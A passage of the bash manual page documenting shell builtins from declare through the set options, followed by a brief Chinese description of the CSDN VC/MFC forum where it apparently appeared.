displayed as well. The -F option implies -f. The following options can be used to restrict output to variables with the specified attribute or to give variables attributes: -a Each name is an array variable (see Arrays above). -f Use function names only. -i The variable is treated as an integer; arithmetic evaluation (see ARITHMETIC EVALUATION ) is performed when the variable is assigned a value. -r Make names readonly. These names cannot then be assigned values by subsequent assignment statements or unset. -t Give each name the trace attribute. Traced functions inherit the DEBUG and RETURN traps from the calling shell. The trace attribute has no special mean- ing for variables. -x Mark names for export to subsequent commands via the environment. Using ‘+’ instead of ‘-’ turns off the attribute instead, with the exception that +a may not be used to destroy an array variable. When used in a function, makes each name local, as with the local command. If a variable name is followed by =value, the value of the variable is set to value. The return value is 0 unless an invalid option is encountered, an attempt is made to define a function using ‘‘-f foo=bar’’, an attempt is made to assign a value to a readonly variable, an attempt is made to assign a value to an array variable without using the compound assignment syntax (see Arrays above), one of the names is not a valid shell variable name, an attempt is made to turn off readonly status for a readonly variable, an attempt is made to turn off array status for an array variable, or an attempt is made to display a non-exis- tent function with -f. dirs [-clpv] [+n] [-n] Without options, displays the list of currently remembered directories. The default display is on a single line with directory names separated by spaces. Directories are added to the list with the pushd command; the popd command removes entries from the list. +n Displays the nth entry counting from the left of the list shown by dirs when invoked without options, starting with zero. -n Displays the nth entry counting from the right of the list shown by dirs when invoked without options, starting with zero. -c Clears the directory stack by deleting all of the entries. -l Produces a longer listing; the default listing format uses a tilde to denote the home directory. -p Print the directory stack with one entry per line. -v Print the directory stack with one entry per line, prefixing each entry with its index in the stack. The return value is 0 unless an invalid option is supplied or n indexes beyond the end of the directory stack. disown [-ar] [-h] [jobspec ...] Without options, each jobspec is removed from the table of active jobs. If the -h option is given, each jobspec is not removed from the table, but is marked so that SIGHUP is not sent to the job if the shell receives a SIGHUP. If no jobspec is present, and neither the -a nor the -r option is supplied, the current job is used. If no jobspec is supplied, the -a option means to remove or mark all jobs; the -r option without a jobspec argument restricts operation to running jobs. The return value is 0 unless a jobspec does not specify a valid job. echo [-neE] [arg ...] Output the args, separated by spaces, followed by a newline. The return status is always 0. If -n is specified, the trailing newline is suppressed. If the -e option is given, interpretation of the following backslash-escaped characters is enabled. The -E option disables the interpretation of these escape characters, even on systems where they are interpreted by default. The xpg_echo shell option may be used to dynamically determine whether or not echo expands these escape characters by default. echo does not interpret -- to mean the end of options. echo interprets the following escape sequences: \a alert (bell) \b backspace \c suppress trailing newline \e an escape character \f form feed \n new line \r carriage return \t horizontal tab \v vertical tab \\ backslash \0nnn the eight-bit character whose value is the octal value nnn (zero to three octal digits) \nnn the eight-bit character whose value is the octal value nnn (one to three octal digits) \xHH the eight-bit character whose value is the hexadecimal value HH (one or two hex digits) enable [-adnps] [-f filename] [name ...] Enable and disable builtin shell commands. Disabling a builtin allows a disk command which has the same name as a shell builtin to be executed without specifying a full pathname, even though the shell normally searches for builtins before disk commands. If -n is used, each name is disabled; otherwise, names are enabled. For example, to use the test binary found via the PATH instead of the shell builtin version, run ‘‘enable -n test’’. The -f option means to load the new builtin command name from shared object filename, on systems that support dynamic loading. The -d option will delete a builtin previously loaded with -f. If no name arguments are given, or if the -p option is supplied, a list of shell builtins is printed. With no other option arguments, the list consists of all enabled shell builtins. If -n is supplied, only disabled builtins are printed. If -a is supplied, the list printed includes all builtins, with an indication of whether or not each is enabled. If -s is supplied, the output is restricted to the POSIX special builtins. The return value is 0 unless a name is not a shell builtin or there is an error loading a new builtin from a shared object. eval [arg ...] The args are read and concatenated together into a single command. This command is then read and executed by the shell, and its exit status is returned as the value of eval. If there are no args, or only null arguments, eval returns 0. exec [-cl] [-a name] [command [arguments]] If command is specified, it replaces the shell. No new process is created. The arguments become the arguments to command. If the -l option is supplied, the shell places a dash at the beginning of the zeroth arg passed to command. This is what login(1) does. The -c option causes command to be executed with an empty environ- ment. If -a is supplied, the shell passes name as the zeroth argument to the exe- cuted command. If command cannot be executed for some reason, a non-interactive shell exits, unless the shell option execfail is enabled, in which case it returns failure. An interactive shell returns failure if the file cannot be executed. If command is not specified, any redirections take effect in the current shell, and the return status is 0. If there is a redirection error, the return status is 1. exit [n] Cause the shell to exit with a status of n. If n is omitted, the exit status is that of the last command executed. A trap on EXIT is executed before the shell termi- nates. export [-fn] [name[=word]] ... export -p The supplied names are marked for automatic export to the environment of subsequently executed commands. If the -f option is given, the names refer to functions. If no names are given, or if the -p option is supplied, a list of all names that are exported in this shell is printed. The -n option causes the export property to be removed from each name. If a variable name is followed by =word, the value of the variable is set to word. export returns an exit status of 0 unless an invalid option is encountered, one of the names is not a valid shell variable name, or -f is sup- plied with a name that is not a function. fc [-e ename] [-nlr] [first] [last] fc -s [pat=rep] [cmd] Fix Command. In the first form, a range of commands from first to last is selected from the history list. First and last may be specified as a string (to locate the last command beginning with that string) or as a number (an index into the history list, where a negative number is used as an offset from the current command number). If last is not specified it is set to the current command for listing (so that ‘‘fc -l -10’’ prints the last 10 commands) and to first otherwise. If first is not speci- fied it is set to the previous command for editing and -16 for listing. The -n option suppresses the command numbers when listing. The -r option reverses the order of the commands. If the -l option is given, the commands are listed on standard output. Otherwise, the editor given by ename is invoked on a file contain- ing those commands. If ename is not given, the value of the FCEDIT variable is used, and the value of EDITOR if FCEDIT is not set. If neither variable is set, is used. When editing is complete, the edited commands are echoed and executed. In the second form, command is re-executed after each instance of pat is replaced by rep. A useful alias to use with this is ‘‘r="fc -s"’’, so that typing ‘‘r cc’’ runs the last command beginning with ‘‘cc’’ and typing ‘‘r’’ re-executes the last command. If the first form is used, the return value is 0 unless an invalid option is encoun- tered or first or last specify history lines out of range. If the -e option is sup- plied, the return value is the value of the last command executed or failure if an error occurs with the temporary file of commands. If the second form is used, the return status is that of the command re-executed, unless cmd does not specify a valid history line, in which case fc returns failure. fg [jobspec] Resume jobspec in the foreground, and make it the current job. If jobspec is not present, the shell’s notion of the current job is used. The return value is that of the command placed into the foreground, or failure if run when job control is dis- abled or, when run with job control enabled, if jobspec does not specify a valid job or jobspec specifies a job that was started without job control. getopts optstring name [args] getopts is used by shell procedures to parse positional parameters. optstring con- tains the option characters to be recognized; if a character is followed by a colon, the option is expected to have an argument, which should be separated from it by white space. The colon and question mark characters may not be used as option char- acters. Each time it is invoked, getopts places the next option in the shell vari- able name, initializing name if it does not exist, and the index of the next argument to be processed into the variable OPTIND. OPTIND is initialized to 1 each time the shell or a shell script is invoked. When an option requires an argument, getopts places that argument into the variable OPTARG. The shell does not reset OPTIND auto- matically; it must be manually reset between multiple calls to getopts within the same shell invocation if a new set of parameters is to be used. When the end of options is encountered, getopts exits with a return value greater than zero. OPTIND is set to the index of the first non-option argument, and name is set to ?. getopts normally parses the positional parameters, but if more arguments are given in args, getopts parses those instead. getopts can report errors in two ways. If the first character of optstring is a colon, silent error reporting is used. In normal operation diagnostic messages are printed when invalid options or missing option arguments are encountered. If the variable OPTERR is set to 0, no error messages will be displayed, even if the first character of optstring is not a colon. If an invalid option is seen, getopts places ? into name and, if not silent, prints an error message and unsets OPTARG. If getopts is silent, the option character found is placed in OPTARG and no diagnostic message is printed. If a required argument is not found, and getopts is not silent, a question mark (?) is placed in name, OPTARG is unset, and a diagnostic message is printed. If getopts is silent, then a colon (:) is placed in name and OPTARG is set to the option charac- ter found. getopts returns true if an option, specified or unspecified, is found. It returns false if the end of options is encountered or an error occurs. hash [-lr] [-p filename] [-dt] [name] For each name, the full file name of the command is determined by searching the directories in $PATH and remembered. If the -p option is supplied, no path search is performed, and filename is used as the full file name of the command. The -r option causes the shell to forget all remembered locations. The -d option causes the shell to forget the remembered location of each name. If the -t option is supplied, the full pathname to which each name corresponds is printed. If multiple name arguments are supplied with -t, the name is printed before the hashed full pathname. The -l option causes output to be displayed in a format that may be reused as input. If no arguments are given, or if only -l is supplied, information about remembered commands is printed. The return status is true unless a name is not found or an invalid option is supplied. help [-s] [pattern] Display helpful information about builtin commands. If pattern is specified, help gives detailed help on all commands matching pattern; otherwise help for all the builtins and shell control structures is printed. The -s option restricts the infor- mation displayed to a short usage synopsis. The return status is 0 unless no command matches pattern. history [n] history -c history -d offset history -anrw [filename] history -p arg [arg ...] history -s arg [arg ...] With no options, display the command history list with line numbers. Lines listed with a * have been modified. An argument of n lists only the last n lines. If the shell variable HISTTIMEFORMAT is set and not null, it is used as a format string for strftime(3) to display the time stamp associated with each displayed history entry. No intervening blank is printed between the formatted time stamp and the history line. If filename is supplied, it is used as the name of the history file; if not, the value of HISTFILE is used. Options, if supplied, have the following meanings: -c Clear the history list by deleting all the entries. -d offset Delete the history entry at position offset. -a Append the ‘‘new’’ history lines (history lines entered since the beginning of the current bash session) to the history file. -n Read the history lines not already read from the history file into the current history list. These are lines appended to the history file since the begin- ning of the current bash session. -r Read the contents of the history file and use them as the current history. -w Write the current history to the history file, overwriting the history file’s contents. -p Perform history substitution on the following args and display the result on the standard output. Does not store the results in the history list. Each arg must be quoted to disable normal history expansion. -s Store the args in the history list as a single entry. The last command in the history list is removed before the args are added. If the HISTTIMEFORMAT is set, the time stamp information associated with each history entry is written to the history file. The return value is 0 unless an invalid option is encountered, an error occurs while reading or writing the history file, an invalid offset is supplied as an argument to -d, or the history expansion supplied as an argument to -p fails. jobs [-lnprs] [ jobspec ... ] jobs -x command [ args ... ] The first form lists the active jobs. The options have the following meanings: -l List process IDs in addition to the normal information. -p List only the process ID of the job’s process group leader. -n Display information only about jobs that have changed status since the user was last notified of their status. -r Restrict output to running jobs. -s Restrict output to stopped jobs. If jobspec is given, output is restricted to information about that job. The return status is 0 unless an invalid option is encountered or an invalid jobspec is sup- plied. If the -x option is supplied, jobs replaces any jobspec found in command or args with the corresponding process group ID, and executes command passing it args, returning its exit status. kill [-s sigspec | -n signum | -sigspec] [pid | jobspec] ... kill -l [sigspec | exit_status] Send the signal named by sigspec or signum to the processes named by pid or jobspec. sigspec is either a case-insensitive signal name such as SIGKILL (with or without the SIG prefix) or a signal number; signum is a signal number. If sigspec is not present, then SIGTERM is assumed. An argument of -l lists the signal names. If any arguments are supplied when -l is given, the names of the signals corresponding to the arguments are listed, and the return status is 0. The exit_status argument to -l is a number specifying either a signal number or the exit status of a process termi- nated by a signal. kill returns true if at least one signal was successfully sent, or false if an error occurs or an invalid option is encountered. let arg [arg ...] Each arg is an arithmetic expression to be evaluated (see ARITHMETIC EVALUATION). If the last arg evaluates to 0, let returns 1; 0 is returned otherwise. local [option] [name[=value] ...] For each argument, a local variable named name is created, and assigned value. The option can be any of the options accepted by declare. When local is used within a function, it causes the variable name to have a visible scope restricted to that function and its children. With no operands, local writes a list of local variables to the standard output. It is an error to use local when not within a function. The return status is 0 unless local is used outside a function, an invalid name is sup- plied, or name is a readonly variable. logout Exit a login shell. popd [-n] [+n] [-n] Removes entries from the directory stack. With no arguments, removes the top direc- tory from the stack, and performs a cd to the new top directory. Arguments, if sup- plied, have the following meanings: +n Removes the nth entry counting from the left of the list shown by dirs, start- ing with zero. For example: ‘‘popd +0’’ removes the first directory, ‘‘popd +1’’ the second. -n Removes the nth entry counting from the right of the list shown by dirs, starting with zero. For example: ‘‘popd -0’’ removes the last directory, ‘‘popd -1’’ the next to last. -n Suppresses the normal change of directory when removing directories from the stack, so that only the stack is manipulated. If the popd command is successful, a dirs is performed as well, and the return status is 0. popd returns false if an invalid option is encountered, the directory stack is empty, a non-existent directory stack entry is specified, or the directory change fails. printf [-v var] format [arguments] Write the formatted arguments to the standard output under the control of the format. The format is a character string which contains three types of objects: plain charac- ters, which are simply copied to standard output, character escape sequences, which are converted and copied to the standard output, and format specifications, each of which causes printing of the next successive argument. In addition to the standard printf(1) formats, %b causes printf to expand backslash escape sequences in the cor- responding argument (except that \c terminates output, backslashes in \', \", and \? are not removed, and octal escapes beginning with \0 may contain up to four digits), and %q causes printf to output the corresponding argument in a format that can be reused as shell input. The -v option causes the output to be assigned to the variable var rather than being printed to the standard output. The format is reused as necessary to consume all of the arguments. If the format requires more arguments than are supplied, the extra format specifications behave as if a zero value or null string, as appropriate, had been supplied. The return value is zero on success, non-zero on failure. pushd [-n] [dir] pushd [-n] [+n] [-n] Adds a directory to the top of the directory stack, or rotates the stack, making the new top of the stack the current working directory. With no arguments, exchanges the top two directories and returns 0, unless the directory stack is empty. Arguments, if supplied, have the following meanings: +n Rotates the stack so that the nth directory (counting from the left of the list shown by dirs, starting with zero) is at the top. -n Rotates the stack so that the nth directory (counting from the right of the list shown by dirs, starting with zero) is at the top. -n Suppresses the normal change of directory when adding directories to the stack, so that only the stack is manipulated. dir Adds dir to the directory stack at the top, making it the new current working directory. If the pushd command is successful, a dirs is performed as well. If the first form is used, pushd returns 0 unless the cd to dir fails. With the second form, pushd returns 0 unless the directory stack is empty, a non-existent directory stack element is specified, or the directory change to the specified new current directory fails. pwd [-LP] Print the absolute pathname of the current working directory. The pathname printed contains no symbolic links if the -P option is supplied or the -o physical option to the set builtin command is enabled. If the -L option is used, the pathname printed may contain symbolic links. The return status is 0 unless an error occurs while reading the name of the current directory or an invalid option is supplied. read [-ers] [-u fd] [-t timeout] [-a aname] [-p prompt] [-n nchars] [-d delim] [name ...] One line is read from the standard input, or from the file descriptor fd supplied as an argument to the -u option, and the first word is assigned to the first name, the second word to the second name, and so on, with leftover words and their intervening separators assigned to the last name. If there are fewer words read from the input stream than names, the remaining names are assigned empty values. The characters in IFS are used to split the line into words. The backslash character (\) may be used to remove any special meaning for the next character read and for line continuation. Options, if supplied, have the following meanings: -a aname The words are assigned to sequential indices of the array variable aname, starting at 0. aname is unset before any new values are assigned. Other name arguments are ignored. -d delim The first character of delim is used to terminate the input line, rather than newline. -e If the standard input is coming from a terminal, readline (see READLINE above) is used to obtain the line. -n nchars read returns after reading nchars characters rather than waiting for a com- plete line of input. -p prompt Display prompt on standard error, without a trailing newline, before attempt- ing to read any input. The prompt is displayed only if input is coming from a terminal. -r Backslash does not act as an escape character. The backslash is considered to be part of the line. In particular, a backslash-newline pair may not be used as a line continuation. -s Silent mode. If input is coming from a terminal, characters are not echoed. -t timeout Cause read to time out and return failure if a complete line of input is not read within timeout seconds. This option has no effect if read is not reading input from the terminal or a pipe. -u fd Read input from file descriptor fd. If no names are supplied, the line read is assigned to the variable REPLY. The return code is zero, unless end-of-file is encountered, read times out, or an invalid file descriptor is supplied as the argument to -u. readonly [-apf] [name[=word] ...] The given names are marked readonly; the values of these names may not be changed by subsequent assignment. If the -f option is supplied, the functions corresponding to the names are so marked. The -a option restricts the variables to arrays. If no name arguments are given, or if the -p option is supplied, a list of all readonly names is printed. The -p option causes output to be displayed in a format that may be reused as input. If a variable name is followed by =word, the value of the vari- able is set to word. The return status is 0 unless an invalid option is encountered, one of the names is not a valid shell variable name, or -f is supplied with a name that is not a function. return [n] Causes a function to exit with the return value specified by n. If n is omitted, the return status is that of the last command executed in the function body. If used outside a function, but during execution of a script by the . (source) command, it causes the shell to stop executing that script and return either n or the exit status of the last command executed within the script as the exit status of the script. If used outside a function and not during execution of a script by ., the return status is false. Any command associated with the RETURN trap is executed before execution resumes after the function or script. set [--abefhkmnptuvxBCHP] [-o option] [arg ...] Without options, the name and value of each shell variable are displayed in a format that can be reused as input for setting or resetting the currently-set variables. Read-only variables cannot be reset. In posix mode, only shell variables are listed. The output is sorted according to the current locale. When options are specified, they set or unset shell attributes. Any arguments remaining after the options are processed are treated as values for the positional parameters and are assigned, in order, to $1, $2, ... $n. Options, if specified, have the following meanings: -a Automatically mark variables and functions which are modified or created for export to the environment of subsequent commands. -b Report the status of terminated background jobs immediately, rather than before the next primary prompt. This is effective only when job control is enabled. -e Exit immediately if a simple command (see SHELL GRAMMAR above) exits with a non-zero status. The shell does not exit if the command that fails is part of the command list immediately following a while or until keyword, part of the test in an if statement, part of a && or ││ list, or if the command’s return value is being inverted via !. A trap on ERR, if set, is executed before the shell exits. -f Disable pathname expansion. -h Remember the location of commands as they are looked up for execution. This is enabled by default. -k All arguments in the form of assignment statements are placed in the environ- ment for a command, not just those that precede the command name. -m Monitor mode. Job control is enabled. This option is on by default for interactive shells on systems that support it (see JOB CONTROL above). Back- ground processes run in a separate process group and a line containing their exit status is printed upon their completion. -n Read commands but do not execute them. This may be used to check a shell script for syntax errors. This is ignored by interactive shells. -o option-name The option-name can be one of the following: allexport Same as -a. braceexpand Same as -B. emacs Use an emacs-style command line editing interface. This is enabled by default when the shell is interactive, unless the shell is started with the --noediting option. errtrace Same as -E. functrace Same as -T. errexit Same as -e. hashall Same as -h. histexpand Same as -H. history Enable command history, as described above under HISTORY. This option is on by default in interactive shells. ignoreeof The effect is as if the shell command ‘‘IGNOREEOF=10’’ had been exe- cuted (see Shell Variables above). keyword Same as -k. monitor Same as -m. noclobber Same as -C. noexec Same as -n. noglob Same as -f. nolog Currently ignored. notify Same as -b. nounset Same as -u. onecmd Same as -t. physical Same as -P. pipefail If set, the return value of a pipeline is the value of the last (rightmost) command to exit with a non-zero status, or zero if all command

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        VC/MFC社区版块或许是CSDN最“古老”的版块了,记忆之中,与CSDN的年龄几乎差不多。随着时间的推移,MFC技术渐渐的偏离了开发主流,若干年之后的今天,当我们面对着微软的这个经典之笔,内心充满着敬意,那些曾经的记忆,可以说代表着二十年前曾经的辉煌……
        向经典致敬,或许是老一代程序员内心里面难以释怀的感受。互联网大行其道的今天,我们期待着MFC技术能够恢复其曾经的辉煌,或许这个期待会永远成为一种“梦想”,或许一切皆有可能……
        我们希望这个版块可以很好的适配Web时代,期待更好的互联网技术能够使得MFC技术框架得以重现活力,……

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